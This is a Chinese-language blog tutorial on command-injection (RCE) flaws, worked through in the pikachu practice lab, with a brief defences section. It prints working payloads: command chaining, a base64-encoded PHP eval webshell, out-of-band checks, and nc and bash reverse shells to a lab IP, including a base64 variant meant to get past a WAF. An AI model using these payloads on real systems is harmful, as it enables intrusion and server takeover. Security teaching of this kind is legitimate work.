命令执行漏洞

命令执行漏洞

RCE:远程命令/代码执行漏洞

一、命令执行漏洞描述

1.描述

​ 系统命令执行是指应用程序对传入命令行的参数过滤不严格导致恶意用户能控制最终执行的命令。应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

2.相关函数
  • system(args) 有回显
  • passthru(args)(有回显)(回显最后一行-必须 echo 输出)
  • exec(args)shell exec(args )(无回显-必须输出)
  • 反引号:``
  • popen(handle,mode)(无回显)
  • proc_open('cmd','flag,flag') (无回显)
  • Sprocess = proc_open('dir',$des,$pipes);
  • echo stream get contents($pipes[1]);

二、靶场实践

靶场环境,采用pikachu靶场

Ⅰ、有回显的情况
1.;(分号)、|管道符、&&&(逻辑与,前面的执行成功后面的才可以执行)、||(逻辑或,前面的执行失败后面的才会执行)

命令按从左向右依次执行的顺序,用分号进行分隔。有一个命令执行失败时,不会中断其他命令的执行

在输入框中输入下面的代码

8.130.109.21;whoami

2.命令替换、反引号$(command)

Ⅱ、无回显情况
1.利用管道符号写入shell

如果存在漏洞的页面有web服务器,也有权限写入,利用shell命令写入webshell后门到网站目录,(pikachu靶场可以用chmod 777 rce命令加入权限完成该实验)

echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWyJjbWQiXSk/Pg==" | base64 -d >shell.php

解码后是<?php phpinfo();eval($_POST["cmd"])?>
  • 先在pikachu写入该命令


  • 查看后台的文件是否写入


  • 浏览器访问


2.利用dnslog

dnslog的网址:DNSLog Platform

利用步骤:

  • 打开dnslog官网,先点击获取域名,然后复制

  • 利用shell



  • 得到回显信息


3.利用bp,操作步骤如下
  • 点击copy,复制到剪贴板

  • 使用ping


  • 得到回显信息


4.利用日志测试

​ 利用http协议访问web中间件,IIS或者apache或者小型服务,都存在访问日志。

  • 在kali上开启python小型服务器

  • 利用curl协议访问远程服务器的端口

  • 查看kali的小型服务器日志

Ⅲ.nc反弹shell
  • 监听kali的8080端口

    nc -vlnp 8080
    
  • 在centos7的虚拟机上输入下面的命令

    bash -i >& /dev/tcp/192.168.177.178/8080 0>&1
    
    • 查看kali
  • 在pikachu的靶场中输入下面任意一条命令

    ||/bin/bash -c ' bash -i >& /dev/tcp/192.168.177.178/8080 0>&1'
    
    || rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.177.178 8080 >/tmp/f
    
    • 查看kali
  • 遇到waf,利用base64编码

    || echo "cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZiB8IC9iaW4vc2ggLWkgMj4mMSB8IG5jIDE5Mi4xNjguMTc3LjE3OCA4MDgwID4vdG1wL2Y=" | base64 -d | bash
    

三、命令执行漏洞防御

  • 不执行外部的应用程序或命令

    ​ 尽量使用自定义函数或函数库实现外部程序或命令的功能。在执行system、eval等命令执行功能的函数前,要确认参数内容。

  • 使用escapeshellarg函数处理相关参数

    该函数会将用户引起的参数或命令结束的字符进行转义,实现防范命令注入攻击的目的

  • 使用safe_mode_exec_dir执行可执行的文件路径

    将 php.ini 文件中的 safe_mode 设置为 On,然后将允许执行的文件放入一个目录并使用 safe_mode_exec_dir 指定这个可执行的文件路径。这样,在需要执行相应的外部程序时,程序必须在safe_mode_exec_dir 指定的目录中才会允许执行,否则执行将失败。

附带一个解码工具CyberChef

posted @ 2023-08-18 17:15  凉城厌心  阅读(79)  评论(0编辑  收藏  举报